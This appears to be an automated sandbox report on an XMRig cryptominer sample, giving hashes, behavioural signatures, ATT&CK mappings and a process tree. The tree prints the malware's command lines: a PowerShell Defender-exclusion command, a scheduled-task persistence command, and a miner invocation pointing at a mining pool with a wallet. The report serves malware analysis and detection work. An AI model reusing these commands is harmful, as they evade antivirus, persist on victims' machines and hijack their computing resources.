xmrig | ae89ec47c8fd4db55ee2aec7acab3a2d9a45d721a8cbb55e085a6793fdbc52d6

Analysis

max time kernel
92s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
21/11/2022, 17:40

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General

Target

ae89ec47c8fd4db55ee2aec7acab3a2d9a45d721a8cbb55e085a6793fdbc52d6.exe
Size

1.2MB
MD5

8d91668ce1667c7c115acd53567cd7da
SHA1

ec9576e038ad7da7e7f9adbe48bd67b3d1f7e515
SHA256

ae89ec47c8fd4db55ee2aec7acab3a2d9a45d721a8cbb55e085a6793fdbc52d6
SHA512

006d52a94b91b1df9cce1b34b6058f937f85a3cc3218e4045c66737bbfde72e6bd069e490baa3770c9982040812d65ab0b07b27f818f1d4d8c7f3e796d7038a5
SSDEEP

24576:Iwpe52wpeuV48BUz2dZElaggWsP39s34s+xSA+CAZJpTfNI:npejpeuS8BUazrgg539s34Hx1+jZJj

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/796-186-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/796-187-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/796-188-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/796-189-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/796-191-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/796-196-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
536	OWT.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4060001867-1434967833-2212371794-1000\Control Panel\International\Geo\Nation	OWT.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 536 set thread context of 796	536	OWT.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2056	536	WerFault.exe	88

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1232	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1476	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4332	powershell.exe
4332	powershell.exe
2064	powershell.exe
2064	powershell.exe
536	OWT.exe
536	OWT.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
648	Process not Found

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4532	ae89ec47c8fd4db55ee2aec7acab3a2d9a45d721a8cbb55e085a6793fdbc52d6.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	536	OWT.exe
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeLockMemoryPrivilege	796	vbc.exe
Token: SeLockMemoryPrivilege	796	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
796	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4532 wrote to memory of 4332	4532	ae89ec47c8fd4db55ee2aec7acab3a2d9a45d721a8cbb55e085a6793fdbc52d6.exe	83
PID 4532 wrote to memory of 4332	4532	ae89ec47c8fd4db55ee2aec7acab3a2d9a45d721a8cbb55e085a6793fdbc52d6.exe	83
PID 4532 wrote to memory of 2188	4532	ae89ec47c8fd4db55ee2aec7acab3a2d9a45d721a8cbb55e085a6793fdbc52d6.exe	85
PID 4532 wrote to memory of 2188	4532	ae89ec47c8fd4db55ee2aec7acab3a2d9a45d721a8cbb55e085a6793fdbc52d6.exe	85
PID 2188 wrote to memory of 1476	2188	cmd.exe	87
PID 2188 wrote to memory of 1476	2188	cmd.exe	87
PID 2188 wrote to memory of 536	2188	cmd.exe	88
PID 2188 wrote to memory of 536	2188	cmd.exe	88
PID 536 wrote to memory of 2064	536	OWT.exe	89
PID 536 wrote to memory of 2064	536	OWT.exe	89
PID 536 wrote to memory of 3552	536	OWT.exe	91
PID 536 wrote to memory of 3552	536	OWT.exe	91
PID 3552 wrote to memory of 1232	3552	cmd.exe	93
PID 3552 wrote to memory of 1232	3552	cmd.exe	93
PID 536 wrote to memory of 796	536	OWT.exe	98
PID 536 wrote to memory of 796	536	OWT.exe	98
PID 536 wrote to memory of 796	536	OWT.exe	98
PID 536 wrote to memory of 796	536	OWT.exe	98
PID 536 wrote to memory of 796	536	OWT.exe	98
PID 536 wrote to memory of 796	536	OWT.exe	98
PID 536 wrote to memory of 796	536	OWT.exe	98
PID 536 wrote to memory of 796	536	OWT.exe	98
PID 536 wrote to memory of 796	536	OWT.exe	98
PID 536 wrote to memory of 796	536	OWT.exe	98
PID 536 wrote to memory of 796	536	OWT.exe	98
PID 536 wrote to memory of 796	536	OWT.exe	98
PID 536 wrote to memory of 796	536	OWT.exe	98
PID 536 wrote to memory of 796	536	OWT.exe	98

C:\Users\Admin\AppData\Local\Temp\ae89ec47c8fd4db55ee2aec7acab3a2d9a45d721a8cbb55e085a6793fdbc52d6.exe
"C:\Users\Admin\AppData\Local\Temp\ae89ec47c8fd4db55ee2aec7acab3a2d9a45d721a8cbb55e085a6793fdbc52d6.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7FC4.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:1476
- - C:\ProgramData\winrar\OWT.exe
    "C:\ProgramData\winrar\OWT.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:536
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2064
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3552
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:1232
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:796
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 536 -s 3788
      4⤵
      Program crash
      PID:2056

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 436 -p 536 -ip 536
1⤵
PID:4172

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\winrar\OWT.exe

Filesize
1.2MB

MD5
8d91668ce1667c7c115acd53567cd7da

SHA1
ec9576e038ad7da7e7f9adbe48bd67b3d1f7e515

SHA256
ae89ec47c8fd4db55ee2aec7acab3a2d9a45d721a8cbb55e085a6793fdbc52d6

SHA512
006d52a94b91b1df9cce1b34b6058f937f85a3cc3218e4045c66737bbfde72e6bd069e490baa3770c9982040812d65ab0b07b27f818f1d4d8c7f3e796d7038a5

Download Submit
C:\ProgramData\winrar\OWT.exe

Filesize
1.2MB

MD5
8d91668ce1667c7c115acd53567cd7da

SHA1
ec9576e038ad7da7e7f9adbe48bd67b3d1f7e515

SHA256
ae89ec47c8fd4db55ee2aec7acab3a2d9a45d721a8cbb55e085a6793fdbc52d6

SHA512
006d52a94b91b1df9cce1b34b6058f937f85a3cc3218e4045c66737bbfde72e6bd069e490baa3770c9982040812d65ab0b07b27f818f1d4d8c7f3e796d7038a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7FC4.tmp.bat

Filesize
138B

MD5
3674c36b0745e9f33f1237bc61ccca6c

SHA1
392f7ec3208063565e61c402c2b8f1416ecc4283

SHA256
d3c2e1471db2f0c85fd6ce3335ac0da6bb08b4d44aeafa21d498ca01e3f196c0

SHA512
b8556ab966e300cd68ea522a317f4c06c61ecdb16a7982d7f15a84ed92633370e7dea8249e686c2de1bf31b92ad767aaeaabd7b1c6d741528a51bda32ad12a43

Download Submit
memory/536-182-0x00007FFDE8C40000-0x00007FFDE8CAB000-memory.dmp

Filesize
428KB

Download
memory/536-184-0x0000000000CA0000-0x0000000000E4C000-memory.dmp

Filesize
1.7MB

Download
memory/536-180-0x00007FFDCCC10000-0x00007FFDCCC45000-memory.dmp

Filesize
212KB

Download
memory/536-179-0x00007FFDE7E10000-0x00007FFDE7E37000-memory.dmp

Filesize
156KB

Download
memory/536-170-0x0000000000CA0000-0x0000000000E4C000-memory.dmp

Filesize
1.7MB

Download
memory/536-183-0x00007FFDE68E0000-0x00007FFDE691B000-memory.dmp

Filesize
236KB

Download
memory/536-172-0x00007FFDCAE80000-0x00007FFDCB941000-memory.dmp

Filesize
10.8MB

Download
memory/536-195-0x00007FFDCAE80000-0x00007FFDCB941000-memory.dmp

Filesize
10.8MB

Download
memory/536-194-0x0000000000CA0000-0x0000000000E4C000-memory.dmp

Filesize
1.7MB

Download
memory/536-193-0x00007FFDCC1F0000-0x00007FFDCC35A000-memory.dmp

Filesize
1.4MB

Download
memory/536-171-0x0000000002860000-0x00000000028A3000-memory.dmp

Filesize
268KB

Download
memory/536-181-0x00007FFDCCC50000-0x00007FFDCCD52000-memory.dmp

Filesize
1.0MB

Download
memory/536-185-0x00007FFDCAE80000-0x00007FFDCB941000-memory.dmp

Filesize
10.8MB

Download
memory/536-168-0x0000000000CA0000-0x0000000000E4C000-memory.dmp

Filesize
1.7MB

Download
memory/536-167-0x0000000000CA0000-0x0000000000E4C000-memory.dmp

Filesize
1.7MB

Download
memory/536-166-0x00007FFDE82C0000-0x00007FFDE82EB000-memory.dmp

Filesize
172KB

Download
memory/536-169-0x00007FFDC9700000-0x00007FFDC984E000-memory.dmp

Filesize
1.3MB

Download
memory/536-165-0x00007FFDCAE80000-0x00007FFDCB941000-memory.dmp

Filesize
10.8MB

Download
memory/536-164-0x00007FFDE8730000-0x00007FFDE88D1000-memory.dmp

Filesize
1.6MB

Download
memory/536-163-0x00007FFDCCA60000-0x00007FFDCCB1D000-memory.dmp

Filesize
756KB

Download
memory/536-160-0x00007FFDCCF30000-0x00007FFDCCFDA000-memory.dmp

Filesize
680KB

Download
memory/536-161-0x00007FFDE84F0000-0x00007FFDE858E000-memory.dmp

Filesize
632KB

Download
memory/536-162-0x00007FFDE5430000-0x00007FFDE5442000-memory.dmp

Filesize
72KB

Download
memory/796-198-0x0000018D18830000-0x0000018D18850000-memory.dmp

Filesize
128KB

Download
memory/796-192-0x0000018D16F30000-0x0000018D16F70000-memory.dmp

Filesize
256KB

Download
memory/796-188-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/796-199-0x0000018D18810000-0x0000018D18830000-memory.dmp

Filesize
128KB

Download
memory/796-189-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/796-190-0x0000018D16EE0000-0x0000018D16F00000-memory.dmp

Filesize
128KB

Download
memory/796-191-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/796-186-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/796-200-0x0000018D18830000-0x0000018D18850000-memory.dmp

Filesize
128KB

Download
memory/796-196-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/796-197-0x0000018D18810000-0x0000018D18830000-memory.dmp

Filesize
128KB

Download
memory/2064-178-0x00007FFDCAE80000-0x00007FFDCB941000-memory.dmp

Filesize
10.8MB

Download
memory/4332-154-0x00007FFDCAE80000-0x00007FFDCB941000-memory.dmp

Filesize
10.8MB

Download
memory/4332-152-0x0000016CCDA90000-0x0000016CCDAB2000-memory.dmp

Filesize
136KB

Download
memory/4332-155-0x00007FFDCAE80000-0x00007FFDCB941000-memory.dmp

Filesize
10.8MB

Download
memory/4532-139-0x00007FFDE8730000-0x00007FFDE88D1000-memory.dmp

Filesize
1.6MB

Download
memory/4532-137-0x00007FFDE5430000-0x00007FFDE5442000-memory.dmp

Filesize
72KB

Download
memory/4532-136-0x0000000001190000-0x00000000011D3000-memory.dmp

Filesize
268KB

Download
memory/4532-135-0x0000000000BE0000-0x0000000000D8C000-memory.dmp

Filesize
1.7MB

Download
memory/4532-153-0x00007FFDCAE80000-0x00007FFDCB941000-memory.dmp

Filesize
10.8MB

Download
memory/4532-134-0x00007FFDE84F0000-0x00007FFDE858E000-memory.dmp

Filesize
632KB

Download
memory/4532-138-0x00007FFDCCA60000-0x00007FFDCCB1D000-memory.dmp

Filesize
756KB

Download
memory/4532-149-0x0000000001190000-0x00000000011D3000-memory.dmp

Filesize
268KB

Download
memory/4532-148-0x0000000000BE0000-0x0000000000D8C000-memory.dmp

Filesize
1.7MB

Download
memory/4532-133-0x00007FFDCCF30000-0x00007FFDCCFDA000-memory.dmp

Filesize
680KB

Download
memory/4532-145-0x000000001DDB0000-0x000000001E2D8000-memory.dmp

Filesize
5.2MB

Download
memory/4532-144-0x00007FFDCAE80000-0x00007FFDCB941000-memory.dmp

Filesize
10.8MB

Download
memory/4532-143-0x00007FFDC9700000-0x00007FFDC984E000-memory.dmp

Filesize
1.3MB

Download
memory/4532-142-0x0000000000BE0000-0x0000000000D8C000-memory.dmp

Filesize
1.7MB

Download
memory/4532-141-0x00007FFDE82C0000-0x00007FFDE82EB000-memory.dmp

Filesize
172KB

Download
memory/4532-140-0x00007FFDCAE80000-0x00007FFDCB941000-memory.dmp

Filesize
10.8MB

Download